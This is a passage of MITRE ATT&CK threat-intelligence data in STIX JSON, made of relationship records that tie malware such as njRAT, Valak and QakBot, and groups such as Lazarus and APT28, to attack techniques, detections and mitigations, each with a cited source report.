"https://blog.trendmicro.com/trendlabs-security-intelligence/autoit-compiled-worm-affecting-removable-media-delivers-fileless-version-of-bladabindi-njrat-backdoor/", "source_name": "Trend Micro njRAT 2018"}], "modified": "2020-08-03T19:28:18.033Z", "description": "[njRAT](https://attack.mitre.org/software/S0385) can read specific registry values.(Citation: Trend Micro njRAT 2018)", "relationship_type": "uses", "source_ref": "malware--d906e6f7-434c-44c0-b51a-ed50af8f7945", "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2bcaf336-cd02-47e3-b73f-6f0c5cc3592f", "type": "relationship", "created": "2020-04-30T17:08:59.317Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos PoetRAT April 2020", "url": "https://blog.talosintelligence.com/2020/04/poetrat-covid-19-lures.html", "description": "Mercer, W, et al. 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(2020, May 28). VALAK: MORE THAN MEETS THE EYE . Retrieved June 19, 2020."}, {"source_name": "Unit 42 Valak July 2020", "url": "https://unit42.paloaltonetworks.com/valak-evolution/", "description": "Duncan, B. (2020, July 24). Evolution of Valak, from Its Beginnings to Mass Distribution. Retrieved August 31, 2020."}], "modified": "2020-08-31T13:34:16.450Z", "description": "[Valak](https://attack.mitre.org/software/S0476) has used <code>regsvr32.exe</code> to launch malicious DLLs.(Citation: Cybereason Valak May 2020)(Citation: Unit 42 Valak July 2020)", "relationship_type": "uses", "source_ref": "malware--ade37ada-14af-4b44-b36c-210eec255d53", "target_ref": "attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2be17426-9704-4913-981b-6d8fe4471147", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky NetTraveler", "description": "Kaspersky Lab's Global Research and Analysis Team. (n.d.). The NetTraveler (aka \u2018Travnet\u2019). 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Due to the high frequency of image load operations, Event ID 7 can generate a large volume of events. Therefore, we recommend tuning the Sysmon configuration file to exclude common, benign image loads that may result in false positives. ", "relationship_type": "detects", "source_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2beb9f29-a94b-469a-870e-2e2072bf941c", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Orangeworm April 2018", "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.", "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia"}], "modified": "2020-03-18T00:52:18.963Z", "description": "[Kwampirs](https://attack.mitre.org/software/S0236) collects a list of network shares with the command <code>net share</code>.(Citation: Symantec Orangeworm April 2018)", "relationship_type": "uses", "source_ref": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab", "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2bfc128f-2bc9-436b-abe0-4206b9e35727", "type": "relationship", "created": "2021-09-07T15:24:47.885Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf", "description": "Huss, D. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.", "source_name": "Proofpoint Operation Transparent Tribe March 2016"}], "modified": "2021-10-15T14:37:10.022Z", "description": "[Peppy](https://attack.mitre.org/software/S0643) can download and execute remote files.(Citation: Proofpoint Operation Transparent Tribe March 2016)", "relationship_type": "uses", "source_ref": "malware--6c2550d5-a01a-4bbb-a004-6ead348ba623", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2bff8dad-2ef1-485c-8c0b-62a5ba4c384b", "type": "relationship", "created": "2019-07-19T17:14:24.018Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason Soft Cell June 2019", "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers", "description": "Cybereason Nocturnus. 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Retrieved July 18, 2019."}], "modified": "2019-07-22T15:49:29.023Z", "description": "[GALLIUM](https://attack.mitre.org/groups/G0093) used a modified version of [HTRAN](https://attack.mitre.org/software/S0040) in which they obfuscated strings such as debug messages in an apparent attempt to evade detection.(Citation: Cybereason Soft Cell June 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--2c036695-32e2-458f-a0f1-25cd2e8b9fbd", "created": "2022-04-11T16:32:10.058Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Trend Micro DRBControl February 2020", "url": "https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf", "description": "Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) obtained a KeePass database from a compromised host.(Citation: Trend Micro DRBControl February 2020)", "modified": "2022-04-11T16:32:10.058Z", "relationship_type": "uses", "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", "target_ref": "attack-pattern--315f51f0-6b03-4c1e-bfb2-84740afb8e21", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--2c095f1e-211d-4e84-b521-9cef12f1e83f", "created": "2023-03-17T15:30:20.085Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "McAfee Lazarus Nov 2020", "description": "Beek, C. (2020, November 5). Operation North Star: Behind The Scenes. Retrieved December 20, 2021.", "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-behind-the-scenes/"}, {"source_name": "McAfee Lazarus Jul 2020", "description": "Cashman, M. (2020, July 29). Operation North Star Campaign. Retrieved December 20, 2021.", "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-a-job-offer-thats-too-good-to-be-true/?hilite=%27Operation%27%2C%27North%27%2C%27Star%27"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-07T14:57:11.306Z", "description": "For [Operation Dream Job](https://attack.mitre.org/campaigns/C0022), [Lazarus Group](https://attack.mitre.org/groups/G0032) compromised domains in Italy and other countries for their C2 infrastructure.(Citation: McAfee Lazarus Jul 2020)(Citation: McAfee Lazarus Nov 2020)", "relationship_type": "uses", "source_ref": "campaign--0257b35b-93ef-4a70-80dd-ad5258e6045b", "target_ref": "attack-pattern--f9cc4d06-775f-4ee1-b401-4e2cc0da30ba", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2c09a27c-2eea-4287-9908-964533234e71", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "TechNet Dir", "description": "Microsoft. (n.d.). Dir. Retrieved April 18, 2016.", "url": "https://technet.microsoft.com/en-us/library/cc755121.aspx"}], "modified": "2020-03-17T19:12:13.054Z", "description": "[cmd](https://attack.mitre.org/software/S0106) can be used to find files and directories with native functionality such as <code>dir</code> commands.(Citation: TechNet Dir)", "relationship_type": "uses", "source_ref": "tool--bba595da-b73a-4354-aa6c-224d4de7cb4e", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2c0b0d7b-239c-4514-9f32-1abb8aa44dbc", "type": "relationship", "created": "2021-08-11T20:02:36.574Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/", "description": "Falcone, R. (2018, January 25). OilRig uses RGDoor IIS Backdoor on Targets in the Middle East. Retrieved July 6, 2018.", "source_name": "Unit 42 RGDoor Jan 2018"}, {"source_name": "ESET IIS Malware 2021", "url": "https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Anatomy-Of-Native-Iis-Malware-wp.pdf", "description": "Hromcov\u00e1, Z., Cherepanov, A. (2021). Anatomy of Native IIS Malware. Retrieved September 9, 2021."}], "modified": "2021-09-10T18:59:39.372Z", "description": "[RGDoor](https://attack.mitre.org/software/S0258) establishes persistence on webservers as an IIS module.(Citation: Unit 42 RGDoor Jan 2018)(Citation: ESET IIS Malware 2021)", "relationship_type": "uses", "source_ref": "malware--b9eec47e-98f4-4b3c-b574-3fa8a87ebe05", "target_ref": "attack-pattern--b46a801b-fd98-491c-a25a-bca25d6e3001", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2c0f2d17-0f48-476b-82d2-6df2c89234ab", "type": "relationship", "created": "2022-03-30T14:26:51.840Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.840Z", "description": "Verify integrity of live processes by comparing code in memory to that of corresponding static binaries, specifically checking for jumps and other instructions that redirect code flow.", "source_ref": "x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1", "target_ref": "attack-pattern--f5946b5e-9408-485f-a7f7-b5efc88909b6", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2c112e41-be75-4f99-84ac-ce7776f88fca", "type": "relationship", "created": "2020-07-15T20:23:36.596Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Carberp March 2012", "url": "https://www.eset.com/fileadmin/eset/US/resources/docs/white-papers/white-papers-win-32-carberp.pdf", "description": "Matrosov, A., Rodionov, E., Volkov, D., Harley, D. (2012, March 2). Win32/Carberp When You\u2019re in a Black Hole, Stop Digging. Retrieved July 15, 2020."}], "modified": "2020-07-15T20:23:36.596Z", "description": "[Carberp](https://attack.mitre.org/software/S0484) has removed various hooks before installing the trojan or bootkit to evade sandbox analysis or other analysis software.(Citation: ESET Carberp March 2012)", "relationship_type": "uses", "source_ref": "malware--bbcd7a02-ef24-4171-ac94-a93540173b94", "target_ref": "attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2c131932-4632-4866-845f-212cbe29756d", "type": "relationship", "created": "2022-02-01T14:23:04.451Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "McAfee Lazarus Jul 2020", "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-a-job-offer-thats-too-good-to-be-true/?hilite=%27Operation%27%2C%27North%27%2C%27Star%27", "description": "Cashman, M. (2020, July 29). Operation North Star Campaign. Retrieved December 20, 2021."}, {"source_name": "Lazarus APT January 2022", "url": "https://blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latest-campaign/", "description": "Saini, A. and Hossein, J. (2022, January 27). North Korea\u2019s Lazarus APT leverages Windows Update client, GitHub in latest campaign. Retrieved January 27, 2022."}, {"source_name": "Qualys LolZarus", "url": "https://blog.qualys.com/vulnerabilities-threat-research/2022/02/08/lolzarus-lazarus-group-incorporating-lolbins-into-campaigns", "description": "Pradhan, A. (2022, February 8). LolZarus: Lazarus Group Incorporating Lolbins into Campaigns. Retrieved March 22, 2022."}], "modified": "2022-03-23T19:01:21.561Z", "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) has used the Windows API <code>ObtainUserAgentString</code> to obtain the User-Agent from a compromised host to connect to a C2 server.(Citation: McAfee Lazarus Jul 2020) [Lazarus Group](https://attack.mitre.org/groups/G0032) has also used various, often lesser known, functions to perform various types of Discovery and [Process Injection](https://attack.mitre.org/techniques/T1055).(Citation: Lazarus APT January 2022)(Citation: Qualys LolZarus)", "relationship_type": "uses", "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2c13a056-b82d-4f56-a530-8562e0e9b038", "type": "relationship", "created": "2020-03-20T18:38:23.341Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://technet.microsoft.com/en-us/library/bb490886.aspx", "description": "Microsoft. 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(2020, May 25). Qakbot Resurges, Spreads through VBS Files. Retrieved September 27, 2021."}, {"source_name": "Crowdstrike Qakbot October 2020", "url": "https://www.crowdstrike.com/blog/duck-hunting-with-falcon-complete-qakbot-zip-based-campaign/", "description": "CS. (2020, October 7). Duck Hunting with Falcon Complete: A Fowl Banking Trojan Evolves, Part 2. Retrieved September 27, 2021."}, {"source_name": "Trend Micro Qakbot December 2020", "url": "https://success.trendmicro.com/solution/000283381", "description": "Trend Micro. (2020, December 17). QAKBOT: A decade-old malware still with new tricks. Retrieved September 27, 2021."}, {"source_name": "Group IB Ransomware September 2020", "url": "https://groupib.pathfactory.com/ransomware-reports/prolock_wp", "description": "Group IB. (2020, September). LOCK LIKE  A PRO. Retrieved September 27, 2021."}], "modified": "2021-09-30T15:45:57.750Z", "description": "[QakBot](https://attack.mitre.org/software/S0650) can maintain persistence by creating an auto-run Registry key.(Citation: Trend Micro Qakbot May 2020)(Citation: Crowdstrike Qakbot October 2020)(Citation: Trend Micro Qakbot December 2020)(Citation: Group IB Ransomware September 2020)", "relationship_type": "uses", "source_ref": "malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2cbaf5dd-8b53-427f-ae00-9cda47125d5b", "type": "relationship", "created": "2021-01-14T20:28:31.227Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "TrendMicro Pawn Storm Dec 2020", "url": "https://www.trendmicro.com/en_us/research/20/l/pawn-storm-lack-of-sophistication-as-a-strategy.html", "description": "Hacquebord, F., Remorin, L. (2020, December 17). Pawn Storm\u2019s Lack of Sophistication as a Strategy. Retrieved January 13, 2021."}], "modified": "2021-01-14T20:28:31.227Z", "description": "[APT28](https://attack.mitre.org/groups/G0007) can exfiltrate data over Google Drive.(Citation: TrendMicro Pawn Storm Dec 2020) ", "relationship_type": "uses", "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", "target_ref": "attack-pattern--40597f16-0963-4249-bf4c-ac93b7fb9807", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2cc2c087-e567-462a-80e6-059fd1276199", "type": "relationship", "created": "2020-08-25T20:11:53.082Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "NSA/FBI Drovorub August 2020", "url": "https://media.defense.gov/2020/Aug/13/2002476465/-1/-1/0/CSA_DROVORUB_RUSSIAN_GRU_MALWARE_AUG_2020.PDF", "description": "NSA/FBI. (2020, August). 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Retrieved August 25, 2020."}], "modified": "2020-08-25T20:11:53.082Z", "description": "[Drovorub](https://attack.mitre.org/software/S0502) can use kernel modules to establish persistence.(Citation: NSA/FBI Drovorub August 2020)", "relationship_type": "uses", "source_ref": "malware--99164b38-1775-40bc-b77b-a2373b14540a", "target_ref": "attack-pattern--a1b52199-c8c5-438a-9ded-656f1d0888c6", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2cc2c5ca-7c7a-4ab7-9cb3-76bdd14324b8", "type": "relationship", "created": "2021-04-13T20:27:51.993Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Avira Mustang Panda January 2020", "url": "https://www.avira.com/en/blog/new-wave-of-plugx-targets-hong-kong", "description": "Hamzeloofard, S. (2020, January 31). New wave of PlugX targets Hong Kong | Avira Blog. Retrieved April 13, 2021."}], "modified": "2021-04-19T17:52:40.888Z", "description": "[Mustang Panda](https://attack.mitre.org/groups/G0129) has used <code>netstat -ano</code> to determine network connection information.(Citation: Avira Mustang Panda January 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4", "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--2cc576f4-9d7d-47e4-a6c5-a6910f8b5b62", "created": "2022-06-02T14:55:26.645Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "SecureWorks August 2019", "url": "https://www.secureworks.com/blog/lyceum-takes-center-stage-in-middle-east-campaign", "description": "SecureWorks 2019, August 27 LYCEUM Takes Center Stage in Middle East Campaign Retrieved. 2019/11/19 "}], "x_mitre_deprecated": false, "revoked": false, "description": "[HEXANE](https://attack.mitre.org/groups/G1001) has used brute force attacks to compromise valid credentials.(Citation: SecureWorks August 2019)", "modified": "2022-06-02T14:55:26.645Z", "relationship_type": "uses", "source_ref": "intrusion-set--f29b7c5e-2439-42ad-a86f-9f8984fafae3", "target_ref": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--2cc93cb7-fbe6-4c79-b619-a2eb877de1cf", "created": "2017-12-14T16:46:06.044Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "PWC Cloud Hopper April 2017", "url": "https://web.archive.org/web/20220224041316/https:/www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf", "description": "PwC and BAE Systems. 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Retrieved December 17, 2020."}], "x_mitre_deprecated": false, "revoked": false, "description": "[menuPass](https://attack.mitre.org/groups/G0045) has installed updates and new malware on victims.(Citation: PWC Cloud Hopper April 2017)(Citation: District Court of NY APT10 Indictment December 2018)", "modified": "2022-07-20T20:07:40.174Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2ccf654b-1077-4277-9a24-099fb3bf095f", "type": "relationship", "created": "2019-01-30T17:13:11.828Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. 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If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. 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Retrieved December 1, 2020."}, {"source_name": "CrowdStrike Wizard Spider October 2020", "url": "https://www.crowdstrike.com/blog/wizard-spider-adversary-update/", "description": "Podlosky, A., Hanel, A. et al. (2020, October 16). WIZARD SPIDER Update: Resilient, Reactive and Resolute. Retrieved June 15, 2021."}], "modified": "2021-06-15T14:40:26.146Z", "description": "[Bazar](https://attack.mitre.org/software/S0534) can execute a PowerShell script received from C2.(Citation: NCC Group Team9 June 2020)(Citation: CrowdStrike Wizard Spider October 2020)", "relationship_type": "uses", "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0", "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2cd69fd0-d5ad-41db-aaee-fd58e46bfaaa", "type": "relationship", "created": "2020-04-28T13:48:00.660Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT41 March 2020", "url": "https://www.fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html", "description": "Glyer, C, et al. (2020, March). This Is Not a Test: APT41 Initiates Global Intrusion Campaign Using Multiple Exploits. Retrieved April 28, 2020."}], "modified": "2020-04-28T13:48:00.660Z", "description": "[APT41](https://attack.mitre.org/groups/G0096) used exploit payloads that initiate download via [ftp](https://attack.mitre.org/software/S0095).(Citation: FireEye APT41 March 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", "target_ref": "attack-pattern--9a60a291-8960-4387-8a4a-2ab5c18bb50b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2cd6c27b-a9c9-4223-885b-75084791d71a", "type": "relationship", "created": "2022-03-30T14:26:51.833Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.833Z", "description": "Monitor for contextual data about an Internet-facing resource gathered from a scan, such as running services or ports that may buy, lease, or rent infrastructure that can be used during targeting. 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(2019, June 4). It's alive: Threat actors cobble together open-source pieces into monstrous Frankenstein campaign. Retrieved May 11, 2020.", "url": "https://blog.talosintelligence.com/2019/06/frankenstein-campaign.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-22T19:34:07.271Z", "description": "During [Frankenstein](https://attack.mitre.org/campaigns/C0001) the threat actors used [Empire](https://attack.mitre.org/software/S0363) for discovery.(Citation: Talos Frankenstein June 2019)", "relationship_type": "uses", "source_ref": "campaign--26d9ebae-de59-427f-ae9a-349456bae4b1", "target_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2cf3d3a5-85ab-43d9-8462-684469f79c6a", "type": "relationship", "created": "2020-03-14T23:29:19.766Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-14T23:29:19.766Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--ca9d3402-ada3-484d-876a-d717bd6e05f2", "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2cf7243f-d5d7-473b-9cb7-27c7186565d3", "type": "relationship", "created": "2020-03-09T13:41:14.474Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-27T13:51:59.110Z", "description": "Where possible, only permit execution of signed scripts.", "relationship_type": "mitigates", "source_ref": "course-of-action--590777b3-b475-4c7c-aaf8-f4a73b140312", "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--2cf91706-674a-4ae0-8a4c-0d8d43eb6e1a", "created": "2022-02-08T16:11:38.674Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Peirates GitHub", "url": "https://github.com/inguardians/peirates", "description": "InGuardians. (2022, January 5). Peirates GitHub. Retrieved February 8, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Peirates](https://attack.mitre.org/software/S0683) can dump the contents of AWS S3 buckets. It can also retrieve service account tokens from kOps buckets in Google Cloud Storage or S3.(Citation: Peirates GitHub)", "modified": "2022-04-14T20:59:18.165Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "tool--79dd477a-8226-4b3d-ad15-28623675f221", "target_ref": "attack-pattern--3298ce88-1628-43b1-87d9-0b5336b193d7", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2cfa6113-1995-494a-b767-61d3f371e0ea", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Baumgartner Naikon 2015", "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf"}], "modified": "2020-03-18T23:13:31.476Z", "description": "[Sys10](https://attack.mitre.org/software/S0060) collects the group name of the logged-in user and sends it to the C2.(Citation: Baumgartner Naikon 2015)", "relationship_type": "uses", "source_ref": "malware--7f8730af-f683-423f-9ee1-5f6875a80481", "target_ref": 